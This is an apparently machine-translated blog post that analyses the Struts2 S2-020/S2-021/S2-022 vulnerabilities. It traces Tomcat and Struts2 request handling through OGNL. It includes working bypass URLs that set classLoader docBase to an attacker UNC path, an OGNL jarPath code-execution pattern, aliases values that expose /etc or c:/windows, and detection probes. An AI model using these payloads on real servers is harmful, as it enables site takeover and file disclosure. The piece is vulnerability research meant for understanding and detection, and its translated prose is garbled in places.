Some time ago, this vulnerability was quite popular. Recently I studied the tomcat underlying code and tracked the triggering process of this vulnerability with the struts2 framework source code. Throughout the debugging process, I felt a lot of feelings, so I left this article to take notes, and did not expect too much. I just wanted to be helpful to the children's shoes I was interested in. If there is any inaccuracy in this article, I hope you can make a positive correction. 0 × 00 old vulnerabilities new gameplay
On the Use of, have to first talk about the S2-020 of this vulnerability, in fact, the online has been related documentation about the use of S2-020, such as the following two http://www.bkjia.com/Article/201404/290950.html
Http://www.bkjia.com/Article/201404/291233.html
First of all, I would like to thank the author for his usage. Individuals prefer to use the docBase attribute because this attribute is available in each version of tomcat. PoC,
This is the use of S2-020, we go back to the S2-021, first take a look at how the official is repaired, find the struts2-core-2.3.16.1.jar in the struts-default.xml, you can see that the official repair is to filter the user request with a regular expression, in addition, regular expression writing is also very simple, including the fix method provided on github, which does not filter out the actual use ,:
http://localhost:8080/S2_3_16_1/hello.action?class.classLoader.resources.dirContext.docBase=\\IP\evil
So the poc of the S2-020 is slightly changed to the Type Bypass regular filter, is the S2-021, and struts2 default regular case is sensitive. It's easy to use. You can use either of the following methods:
http://localhost:8080/S2_3_16_1/hello.action?class[‘classLoader’].resources.dirContext.docBase=\\IP\evilhttp://localhost:8080/S2_3_16_1/hello.action?Class.ClassLoader.resources.dirContext.docBase=\\IP\evilhttp://localhost:8080/S2_3_16_1/hello.action?top.Class.ClassLoader..resources.dirContext.docBase=\\IP\evil
Pipeline Base = aa is used as an example to track the code processing process from the tomcat container to the struts2 framework. Let's talk about the debugging environment first. Here I debug the source code of tomcat 6.0.24 + struts2.3.16.1.
0 × 01 Tomcat processes HTTP requests
First, tomcat must first process the request and track the tomcat source code. Here, tomcat calls run () of JIoEndpoint. java to create a socket.
Then processor. process (socket) is called to parse the http protocol and return the result content,
The processor is an instance of HttpProcessor. In fact, tomcat parses HTTP requests through the process () method in the HttpProcessor class. With the process () function, we can see that it actually does four things, as shown below:
ParseRequestLine () and parseHeaders ()
ParseRequestLine () parses the request's first line, namely method, uri, and protocol (GET/S2_3_16_1/hello. action HTTP/1.1), and sets the corresponding value to the request instance. ParseHeaders () parses the HTTP header to forward the content (host, ua, connect ...) Set to the headers instance.
PrepareRequest ()
The prepareRequest method is used to assemble the request filter to process the http message body.
Adapter. service (request, response)
Send the request to tomcat for processing and return response
InputBuffer. endRequest ()
Return response to the client
The tracking code here shows that adapter. service (request, response) sends the request to the container for processing,
After that, tomcat processes HTTP requests from ctor to servlet. The http requests go to engine, host, and wrapper in sequence. Until the servlet is eventually associated. In fact, struts2 is associated here,
In fact, the request has been executed here, so it is related to struts2. Tracking This doFilter until the internalDoFilter method,
This filter is the FilterDispatcher instance of struts2, and the execution of this doFilter method begins to enter the code logic of struts2. After that, the control of the program is transferred from the container to struts2.
Well, it's always a bit nonsense here. It has nothing to do with the struts2 fart, because the HTTP request is still in the container. The above is for personal record only. Do not spray it! Start the debug framework below.
0 × 02 Struts2 processes HTTP requests
In fact, the core of Struts2 is a Filter. Its function is to process HTTP requests and then return them to the client (response). Its doFilter method is the entry for struts2 to process HTTP requests. Later, struts2 handed over the HTTP request to the parameter Interceptor (ParametersInterceptor) after a series of processing. When a user submits a request such as aa = bb, struts2 will automatically execute the corresponding setaa method to set this attribute value, which is actually in the logic of the parameter interceptor, however, the specific implementation relies on OGNL. The parameter interceptor has a doIntercept method,
First, the parameter interceptor obtains the action instance.
Object action = invocation.getAction();
Then generate the OGNL Context
ActionContext ac = invocation.getInvocationContext();
The ac here is the OGNL context. For more information about ac,
In fact, contextMap is stored in the ac. here we can see some familiar content, such#_memberAccess.allowStaticMethodAccess
This occurs multiple times in the previous exploitation, and # _ root is the root element ValueStack, which stores the action instance,
Return to the logic of the parameter interceptor and run the following code to obtain the HTTP parameter.
final Map<String, Object> parameters = retrieveParameters(ac);
Follow this retrieveParameters,
Actually called hereActionContext.getParameters()
To obtain the parameter set parameters of the Map type. TraversalHttpServletRequest、HttpSession、ServletContext
And copy it to the Map of Webwork. After that, all data operations are performed in this Map structure to separate the internal structure from the Servlet API.
The parameter interceptor then extracts the value Stack from the OGNL context,
ValueStack stack = ac.getValueStack();
Continue with inboundsetParameters(action, stack, parameters);
NewStack is the ValueStack retrieved from the OGNL context. It stores the action instance.
Name is the HTTP Request Parameter name,
Value is the HTTP request parameter value.
HerenewStack.setParameter(name, value);
Set the parameters of the HTTP request to the action instance. In this process, the set method is called to set properties. I found thatnewStack.setParameter(name, value);
The execution logic is implemented through OGNL. In fact, it is to traverse the context to find the corresponding set method. For example, here we go to tomcat to find the setDocBase Method for execution.
The 0 × 03 vulnerability is a feature of the parameter interceptor.
Because each action must inheritclassLoader
Therefore, each action must have a correspondingclassLoader
. Here the request parameter isClass['ClassLoader'].resources.dirContext.docBase
And the trace code finally finds that the BaseDirContext class in the tomcat source code is called.setDocBase()
Method,
Therefore, from the vulnerability analysis, we can see that this is actually the feature of the struts2 parameter interceptor, and not just classLoader, as long as it is a qualified object, it can be controlled.
Let's talk about how the official website fixes the problem and check the code of the parameter interceptor.(ParametersInterceptor.java)
, He will call isExcluded to check whether the request parameters are compliant,
Thisthis. excludeParams
Yesstruts2-core.jar
Mediumstruts-default.xml
The regular expression configured in,
The filter is not performed in other locations, so you can change the Writing Method to bypass.
On the Control classLoader in fact as early as the S2-009 has this use, and then the official filter is more lax, because the OGNL support (aa) (bb) such way to execute code, so the usage in tomcat wasclass.classLoader.jarPath=(PAYLOAD)(aa)&x[(class.classLoader.jarPath)('aa')]
In this way, the jarPath attribute of classLoader is actually manipulated. Of course, different containers correspond to different attributes, for example, JBOSS classLoader also hasclass.classLoader.jarPath
This attribute, so it is the same method of exploitation as tomcat. In resin, there is a class. classLoader. id of the String type. At the same time, the setid method exists in WebappClassLoader, so it can also be used like jarPath.
0 × 04 Detection Method
First, you can use the error message to detect it. but to ensure that it does not cause any harm to the application, you must not use the docBase attribute. This attribute is too dangerous, even if getshell succeeds, the website root directory will be changed to cause ddos attacks.
I tested it and found thatclass.classLoader.parent
Andclass.classLoader.resources
These two attributes first cover the full version of tomcat, and then they have the corresponding set method. Finally, they are the most important. If the coverage fails, the framework throws an error. Here I checked the definitions of these two attributes in tomcat source code,
We can see that parent is classLoader and resources is DirContext. In this way, a string is used to overwrite these two attributes and struts2 throws an error to determine whether a vulnerability exists. Therefore, the url can be written as follows:
Class['ClassLoader'].parent= GENXORClass['ClassLoader'].resources=GENXOR
FirstClass['ClassLoader'].parent
, Debugging process
There is actually no setparent,WebappClassLoader.java
There is no setparent method. The error here should be because OGNL does not have the permission to access the parent of WebappClassLoader, that is, URLClassLoader, so an error is thrown.
Let's talk about it.Class['ClassLoader'].resources
For this attribute, let's take a look at the error message thrown by the framework,
The error message indicates that the setResources method fails to be executed. Because resources is DirContext, an error is returned when the String type is used to set. Execution result:
Because the property overwrite fails, the application is still normal.
There is also another method, but it only applies to Tomcat 7, that is, there is an aliases attribute in the classLoader of Tomcat 7, which is similar to a virtual directory and is mainly used to specify the location of static resources, such as settingaliases="/image=/home/www/css"
In this way, accessing http://test.com/image] is the absolute path of ingress./home/www/css
. This idea can also be used to detect vulnerabilities, such
Class['ClassLoader'].resources.dirContext.aliases=/image=/etc Class['ClassLoader'].resources.dirContext.aliases=/image=c:/windows
Unfortunately, it can only be used in tomcat7, and aliases does not support UNC Path. Otherwise, you can quietly get the getshell without disturbing the administrator. But still can traverse the directory file, the test can read the configuration file under the WEB-INF, the harm is still very large.
0*05 postscript S2-022
At the time of writing this article, the official again broke the S2-022, looked at the problem is CookieInterceptor, or not strictly filtered, as for the usage method, you can put the poc mentioned above in the cookie, Which is similar. However, the default CookieInterceptor logic will not be executed. In general, developers will not allow the framework to process cookies. If you want to use it, you need to manually configure it. To test the shoes, you can add similar code in struts. xml,
<action ... > <interceptor-ref name="cookie"> <param name="cookiesName">*</param> <param name="cookiesValue">*</param> </interceptor-ref> ....</action>
Find CookieInterceptor. java to disconnect debug.